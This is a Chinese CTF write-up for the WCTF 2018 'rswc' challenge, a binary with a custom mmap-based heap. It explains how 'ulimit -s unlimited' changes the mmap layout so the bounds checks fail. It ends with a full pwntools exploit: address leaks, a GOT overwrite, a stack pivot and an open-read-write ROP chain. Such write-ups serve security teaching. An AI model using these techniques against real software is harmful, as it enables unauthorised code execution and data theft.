WCTF 2018 - binja - rswc

aqs / 2018-07-11 08:26:37 / 

---

有幸参加了 今年的 wctf，被虐的不要不要的，比赛的题目质量很高，想着都找时间复现总结一下，希望自己可以复现完吧 :)

rswc 是 binja 出的 题目，可以说的唯一的一道应用层的pwn了，主要是一个 mmap 内存布局相关的知识点

功能分析

```
Try your best to get the flag
IP : 172.16.13.11
Port : 31348
```

题目文件如下

```
› tree
.
■■■ docker
■   ■■■ Dockerfile
■   ■■■ launch.sh
■   ■■■ rswc
■   ■■■ xinetd
■■■ libc.so.6_5d8e5f37ada3fc853363a4f3f631a41a
■■■ README.md
■■■ rswc.zip
```

主要程序 是 docker 目录下的 rswc， 还给了libc， 版本2.23

```
Arch:     amd64-64-little
 RELRO:    Partial RELRO
 Stack:    No canary found
 NX:       NX enabled
 PIE:      No PIE (0x400000)
```

64 bit 程序， no pie

```
› ./rswc
0. alloc
1. edit
2. show
3. delete
9. exit
```

程序有4个功能, 经典的选单程序

- alloc 传入size
- edit 根据index 和 alloc 的size 保存数据
- show 根据 index 和 alloc 的size write
- delte 根据 index delete

功能都和平时做题目差不多，这里的堆的管理机制不同，他是用mmap 自己模拟了堆管理的机制

ida 看看功能吧

main函数

```
void __fastcall main(__int64 a1, char **a2, char **a3)
{
 init_400DB3();
 while ( 1 )
 {
   menu();
   switch ( readint() )
   {
     case 0:
       all_400F15();
       break;
```

```
    case 1:
      edit_400FB3();
      break;
    case 2:
      show_401051();
      break;
    case 3:
      del_401104();
      break;
    case 9:
      _exit(0);
      return;
    default:
      puts("huh?");
      break;
  }
  puts(byte_4013A8);
 }
}
```

主要就是根据 op 选择对应的功能，没有整数溢出等，这里主要关注 init_400DB3 这个函数，对于堆模拟的一个初始化

```
int init_400DB3()
{
 setbuf(stdin, 0LL);
 setbuf(stdout, 0LL);
 setbuf(stderr, 0LL);
 if ( mmap(0LL, 0x1000uLL, 0, 34, -1, 0LL) == (void *)-1LL )// ■■mmap ■■
 {
   perror("mmap");
   _exit(1);
 }
 manager_6020B8 = (__int64)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
 if ( manager_6020B8 == -1 )
 {
   perror("mmap");
   _exit(1);
 }
 mmapsome_400866(0x3000uLL);                   //  heap ■ 0x3000
 return seccomp_400BE4();
}

/*----------------------------------------------------------*/ void *__fastcall mmapsome_400866(size_t size)
{
 void **top; // rbx

 top = (void **)manager_6020B8;
 *top = mmap(0LL, size, 3, 34, -1, 0LL);
 if ( *(_QWORD *)manager_6020B8 == -1LL )
 {
   perror("mmap");
   _exit(1);
 }
 *(_QWORD *)(manager_6020B8 + 8) = *(_QWORD *)manager_6020B8;
 *(_QWORD *)(manager_6020B8 + 16) = size;
 *(_QWORD *)(manager_6020B8 + 24) = 0LL;
 return memset((void *)(manager_6020B8 + 0x20), 0, 0xFE0uLL);// ■■■
}
```

堆管理器的初始化，mmap 了一段 大小 0x1000 no rwx 的内存, 用于防止溢出

然后mmap 0x1000 rw 内存保存指针等，类似 arena

接着 mmap 0x3000 的 内存 作为 堆分配的区域 ， 并在 arena 里面保存好初始化指针,

使用 seccomp 限制只能使用 orw

在自己的电脑上测试是这样的

```
0x7ffff7ff2000     0x7ffff7ff6000 rw-p     4000 0
0x7ffff7ff6000     0x7ffff7ff7000 ---p     1000 0

pwndbg> x/10gx 0x7ffff7ff2000
0x7ffff7ff2000: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2010: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2020: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2030: 0x0000000000000000      0x0000000000000000
0x7ffff7ff2040: 0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x7ffff7ff5000
0x7ffff7ff5000: 0x00007ffff7ff2000/*heap ■■*/    0x00007ffff7ff2000 /* top chunk ■■*/
0x7ffff7ff5010: 0x0000000000003000/*heap size*/    0x0000000000000000 /* chunk number */
0x7ffff7ff5020: 0x0000000000000000      0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000      0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000      0x0000000000000000
```

arena 上 先保存 heap 的起始地址， top chunk 指针， 当前的heap 的size 固定 0x3000,

chunk number 也就是当前可用chunk 的数量

后面的每一次分配，都是在arena 里面保存起始指针以及size，类似下面

```
pointer  | size
pointer  | size
```

allocate 函数

```
int all_400F15()
{
 unsigned int size; // eax
 int result; // eax
 __int64 p; // [rsp+0h] [rbp-10h]
 __int64 v3; // [rsp+8h] [rbp-8h]

 printf("size: ");
 size = readint();
 v3 = size;
 if ( !size || (unsigned __int64)size + 16 < size )
   return puts("invalid size");
 p = mmap_alloc_400920(size + 16LL);
 if ( !p )
   return puts("failed to allocate memory");
 *(_QWORD *)p = current_6020B0;
 current_6020B0 = p;
 *(_QWORD *)(p + 8) = v3;
 result = p;
 *(_BYTE *)(p + 0x10) = 0;                     // ■■■■■■
 return result;
}
```

allocate 的时候传入一个 size， 然后在 heap 上划分， size 都使用 unsigned int 来进行处理

整数溢出不可行，mmap_alloc_400920 是在 heap 上划分内存返回起始指针的操作

成功的话, 有一个 全局的 current 指针指向他，并将chunk 第一个 byte 置0

这样就不能show 内存泄露已有的数据了

总的来说就是 chunk 形成一个 单向链表，新来放在前面

对应的 index 根据和current 之间有多少个 chunk 来决定

chunk 结构类似下面

```
next pointer  | size        |
--------------------        |
   data                    |
```

分配的过程如下

- 一开始: current ---> chunkA(0) -> chunkB(1)

- alloc new chunkC
- malloc 成功: current ---> chunkC(0) -> chunkA(1)-> chunkB(2)

再 mmap 块上分割内存的操作

```
__int64 __fastcall mmap_alloc_400920(unsigned __int64 size)
{
 __int64 v2; // ST10_8
 unsigned __int64 index; // [rsp+18h] [rbp-10h]
 unsigned __int64 v4; // [rsp+20h] [rbp-8h]

 v4 = size;
 if ( !size )
   return 0LL;
 if ( size & 0xF )
   v4 = (size & 0xFFFFFFFFFFFFFFF0LL) + 0x10; // 0x10 ■■
 if ( v4 < size )
   return 0LL;                                 // manager+0x18 ==num
 for ( index = 0LL; *(_QWORD *)(manager_6020B8 + 0x18) > index; ++index )
 {  // ■■■■■free ■chunk
   if ( !(*(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) & 1LL)// free ■■
     && *(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) >= v4 )
   {                                           // &1==1 ■■free
     *(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) |= 1uLL;// ■■ allocated
     return *(_QWORD *)(16 * (index + 2) + manager_6020B8);// ■■■■■■■■■■■
   }
 }
 if ( *(_QWORD *)manager_6020B8 + *(_QWORD *)(manager_6020B8 + 0x10) < *(_QWORD *)(manager_6020B8 + 8) + v4 )// ■■■■■
   return 0LL;
 v2 = *(_QWORD *)(manager_6020B8 + 8);         // ■■■■top ■■
 *(_QWORD *)(manager_6020B8 + 8) += v4;        // top ■■■■
 *(_QWORD *)(16 * (*(_QWORD *)(manager_6020B8 + 0x18) + 2LL) + manager_6020B8) = v2;// free ■■■num ■■■■■■■■alloc ■■
 *(_QWORD *)(manager_6020B8 + 16 * ((*(_QWORD *)(manager_6020B8 + 24))++ + 2LL) + 8) = v4 | 1;// ■■■ allocate
 return v2;
}
```

总的来讲就是

- size 0x10 补全
- 找有没有 free 的 chunk, 有的话直接分配
- 检查要分配的size 加上 heap 起始为止是否会溢出到 arena
- 在 arena 里面保存好指针和 size,

内存分布如下， allocate 24 大小的 chunk, 最后一个 bit 为 1 表时 allocated 状态，为0 为free 状态

```
pwndbg> x/4gx 0x7ffff7ff2000
0x7ffff7ff2000: 0x0000000000000000      0x0000000000000018
0x7ffff7ff2010: 0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x7ffff7ff5000
0x7ffff7ff5000: 0x00007ffff7ff2000      0x00007ffff7ff2030
0x7ffff7ff5010: 0x0000000000003000      0x0000000000000001
0x7ffff7ff5020: 0x00007ffff7ff2000      0x0000000000000031
0x7ffff7ff5030: 0x0000000000000000      0x0000000000000000
```

edit 函数

```
int edit_400FB3()
{
 unsigned int index; // [rsp+Ch] [rbp-14h]
 __int64 v2; // [rsp+10h] [rbp-10h]
 unsigned int i; // [rsp+1Ch] [rbp-4h]

 printf("index: ");
 index = readint();
 v2 = current_6020B0;
 for ( i = 0; v2 && i < index; ++i )
   v2 = *(_QWORD *)v2;
 if ( !v2 )
   return puts("not found");
 printf("content: ");
```

```
 return (unsigned __int64)fgets((char *)(v2 + 0x10), *(_QWORD *)(v2 + 8), stdin);// ■■■■■■■■ size
}
```

edit 函数根据chunk 头保存的size 来获取 input, 因为 fgets 只会接收 size-1 的数据，没有溢出

show 函数

```
int show_401051()
{
 unsigned int index; // [rsp+Ch] [rbp-14h]
 _QWORD *v2; // [rsp+10h] [rbp-10h]
 unsigned int i; // [rsp+1Ch] [rbp-4h]

 printf("index: ");
 index = readint();
 v2 = (_QWORD *)current_6020B0;
 for ( i = 0; v2 && i < index; ++i )
   v2 = (_QWORD *)*v2;
 if ( !v2 )
   return puts("not found");
 printf("memo no.%u\n", index);
 printf("  size: %lu\n", v2[1]);
 return printf("  content: %s\n", v2 + 2);
}
```

show 函数 根据 index 来，printf 用 %s 输出，没有什么问题。。。

free 函数

```
int del_401104()
{
 int result; // eax
 __int64 v1; // ST10_8
 unsigned int index; // [rsp+4h] [rbp-1Ch]
 _QWORD *v3; // [rsp+8h] [rbp-18h]
 _QWORD *p; // [rsp+10h] [rbp-10h]
 unsigned int i; // [rsp+1Ch] [rbp-4h]

 printf("index: ");
 index = readint();
 if ( index )
 {
   v3 = 0LL;
   p = (_QWORD *)current_6020B0;
   for ( i = 0; p && i < index; ++i )
   {
     v3 = p;
     p = (_QWORD *)*p;
   }
   if ( p )
   {
     *v3 = *p;
     result = (unsigned __int64)mmap_freesome_400B0B((__int64)p);
   }
   else
   {
     result = puts("not found");
   }
 }
 else if ( current_6020B0 )
 {
   v1 = current_6020B0;
   current_6020B0 = *(_QWORD *)current_6020B0;
   result = (unsigned __int64)mmap_freesome_400B0B(v1);
 }
 else
 {
   result = puts("not found");
 }
 return result;
```

```
}
```

这段代码没有什么，就是遍历 current 链表，找到对应 index 的chunk 主要看mmap_freesome_400B0B 这个函数

```
_QWORD *__fastcall mmap_freesome_400B0B(__int64 p)
{
 _QWORD *result; // rax
 unsigned __int64 i; // [rsp+18h] [rbp-8h]

 if ( !p )
   return result;
 for ( i = 0LL; ; ++i )
 {
   if ( *(_QWORD *)(manager_6020B8 + 0x18) <= i )// ■■■■■■
     _exit(1);
   if ( *(_QWORD *)(16 * (i + 2) + manager_6020B8) == p )
     break;
 }
 if ( !(*(_QWORD *)(16 * (i + 2) + manager_6020B8 + 8) & 1LL) )// no uaf
   _exit(1);
 result = (_QWORD *)(16 * (i + 2) + manager_6020B8 + 8);
 *result &= 0xFFFFFFFFFFFFFFFELL;
 return result;
}
```

传入一个 pointer, 搜索arena 里面是否有这个 pointer, 并 判断是否是 free 状态

allocated 状态 则置为 free状态返回pointer

漏洞分析 & 漏洞利用

okay 到了这里，没有发现什么漏洞呀。。。代码的边界检查都做的挺好的，整数溢出，数组越界？内存未初始化？？

都找不到的样子。。

这里是一个 坑点，题目是 nc连 上去给你一个 shell 的本地利用的模式，本地利用自己只知道一个 ulimit ...

问题也就是出现在这里，stack 设置成 ulimited 的时候 mmap 的行为会不一样

https://elixir.bootlin.com/linux/v4.12.14/source/arch/x86/mm/mmap.c

```
static int mmap_is_legacy(void)
{
   if (current->personality & ADDR_COMPAT_LAYOUT)
       return 1;

   if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
       return 1;

   ///proc/sys/vm/legacy_va_layout
   return sysctl_legacy_va_layout;
}
```

linux x86 x64 下mmap 有两种两种内存布局，一种是经典模式，一种是新的模式

mmap_is_legacy == 1 使用经典布局 - mmap 从低地址向高地址增长，也就是向栈方向增长

mmap_is_legacy ==0 使用新的模式- legacy 也 mmap bottom-up, 从高地址向低地址增长

current->personality 是 进程task_struct 的一个字段，主要用于处理不同的ABI

http://man7.org/linux/man-pages/man2/personality.2.html

rlimit(RLIMIT_STACK) == RLIM_INFINITY) 这一行就是判断 stack 的资源限制是不是设置成无限制

sysctl_legacy_va_layout 即 /proc/sys/vm/legacy_va_layout 的值

mmap 的实现还存在一些 CVE, 要找找时间复现一下，总之对于这道题目，因为 边界检查时基于

新的mmap 的布局的形式，所以假如改了这个内存布局，题目里面实现的边界检查就没用了，

可以造成溢出等效果，这里还有一个坑点。。

内核版本 4.13 之后 这个函数对于 stack 的判断被删除了,而自己的ubuntu 刚好又是 4.13 的内核，

比赛的时候蛋疼的调了很久就是达不到效果。。比赛的内核版本记得时 4.4.0-114

```
static int mmap_is_legacy(void)
{
   if (current->personality & ADDR_COMPAT_LAYOUT)
       return 1;

   return sysctl_legacy_va_layout;
}
```

okay 找到了漏洞点，后面操作就比较简单了，总结一下利用思路如下

ulimit -s unlimited mmap 变成经典内存布局

```
protect  ---p
arena    rw-p
heap     rw-p
```

多次分配 arena 溢出 arena 指针 到 heap 上

修改 overlap 到 heap 上的 arena 指针，没开 pie, 任意地址泄露(泄露 heap, libc, stack)

修改指针任意地址写 (写哪里好呢？)

因为限制了只能用 orw 系统调用，又没有可执行段，所以想到的是用rop gadget 来读flag, libc地址已经知道了

几乎就是什么都可以干了

修改 exit got 到 pop pop pop ret 的gadget, 这样就可以调用exit的时候ret 到 main 的ret 地址

修改 ret 地址 hijack ebp 到 heap 上

heap 上写 orw gadget

调用 exit 触发 rop get flag

exp 如下

```
#coding:utf-8
from pwn import *
import sys
import time

file_addr='./rswc'
libc_addr='./libc.so.6'
host='172.16.13.11'
port=31348



binary=ELF(file_addr)

p=process(file_addr,env={"LD_PRELOAD":libc_addr})
if len(sys.argv)==3:
   p=remote(host,port)



def menu(op):
   p.sendlineafter('>',str(op))

def alloc(size):
   menu(0)
   p.sendlineafter('size:',str(size))

def edit(index,data):
   menu(1)
   p.sendlineafter('index:',str(index))
   p.sendlineafter('content:',data)
```

```
def show(index):
   menu(2)
   p.sendlineafter('index:',str(index))

def delete(index):
   menu(3)
   p.sendlineafter('index:',str(index))


for i in range(0x100):
   alloc(0x20)

def write_addr(index,target,data):
   payload='a'*0x20
   payload+=p64(target)+p64(0x200)
   edit(index,payload)
   edit(index,data)

# leak heap base
show(255)
p.recvuntil('content: ')
heapleak=u64(p.recv(6).ljust(8,'\x00'))
heap_base=heapleak-0x2fd0
p.info('heap_base'+hex(heap_base))

payload='a'*0x20
payload+=p64(binary.got['__libc_start_main']-0x10)+'\x20'

# leak libc base
edit(255,payload)
show(255)
p.recvuntil('content: ')
libcleak=u64(p.recv(6).ljust(8,'\x00'))
p.info('libcleak'+hex(libcleak))
#
libc=ELF('./libc.so.6')
libc_base=libcleak-libc.symbols['__libc_start_main']
p.info('libc_base'+hex(libc_base))

# leak stack addr
payload='a'*0x20
payload+=p64(libc_base+libc.symbols['environ']-0x10)+p64(0x200)

edit(254,payload)

show(254)
p.recvuntil('content: ')
stackleak=u64(p.recv(6).ljust(8,'\x00'))
p.info('stackleak'+hex(stackleak))

ret_addr=stackleak-0x100
p.info('ret_addr'+hex(ret_addr))
# write exit got 2 ret
ppp_ret=0x00000000004012ce #0x00000000004012ce : pop r13 ; pop r14 ; pop r15 ; ret
pop_rbp_ret=0x00000000004007d0 #0x00000000004007d0 : pop rbp ; ret
leave_ret=0x0000000000400be2 #0x0000000000400be2 : leave ; ret

payload=p64(libc_base-0xe98)+p64(libc_base-0x210790)+p64(ppp_ret)
payload+=p64(libc_base+libc.symbols['puts'])
payload+=p64(libc_base+libc.symbols['mmap'])
payload+='flag\x00'
write_addr(253,binary.got['_exit']-0x20,payload)


ebp_base=heap_base+0xd0-8
# hijack ebp 2 heap
payload=p64(0)*2
payload+=p64(pop_rbp_ret)
```

```
payload+=p64(ebp_base)
payload+=p64(leave_ret)
write_addr(252,ret_addr-0x20+8,payload)

print hex(ret_addr)

pop_rdi_ret=libc_base+0x0000000000021102
pop_rsi_ret=libc_base+0x00000000000202e8
pop_rdx_ret=libc_base+0x0000000000001b92
pop_rax_ret=libc_base+0x0000000000033544
syscall_ret=libc_base+0x00000000000bc375


orw_payload=''
## open
orw_payload+=p64(pop_rdi_ret)+p64(ebp_base+0x108)
orw_payload+=p64(pop_rsi_ret)+p64(0x0)
orw_payload+=p64(pop_rdx_ret)+p64(0x0)
orw_payload+=p64(pop_rax_ret)+p64(0x2)
orw_payload+=p64(syscall_ret)
## read
orw_payload+=p64(pop_rdi_ret)+p64(0x3)
orw_payload+=p64(pop_rsi_ret)+p64(ebp_base+0x200)
orw_payload+=p64(pop_rdx_ret)+p64(0x30)
orw_payload+=p64(pop_rax_ret)+p64(0x0)
orw_payload+=p64(syscall_ret)

## write
orw_payload+=p64(pop_rdi_ret)+p64(0x1)
orw_payload+=p64(pop_rsi_ret)+p64(ebp_base+0x200)
orw_payload+=p64(pop_rdx_ret)+p64(0x30)
orw_payload+=p64(pop_rax_ret)+p64(0x1)
orw_payload+=p64(syscall_ret)
orw_payload=orw_payload.ljust(0x100,'z')
orw_payload+='flag\x00'


edit(251,orw_payload)
## get flag
#
raw_input('aaa')
p.interactive()
```

e1xp.py (0.003 MB) 下载附件

rswc.zip (0.737 MB) 下载附件



上一篇：Upload-labs通关手册 下一篇：用机器学习检测恶意PowerShe...

1. 0 条回复
   - 动动手指，沙发就是你的了！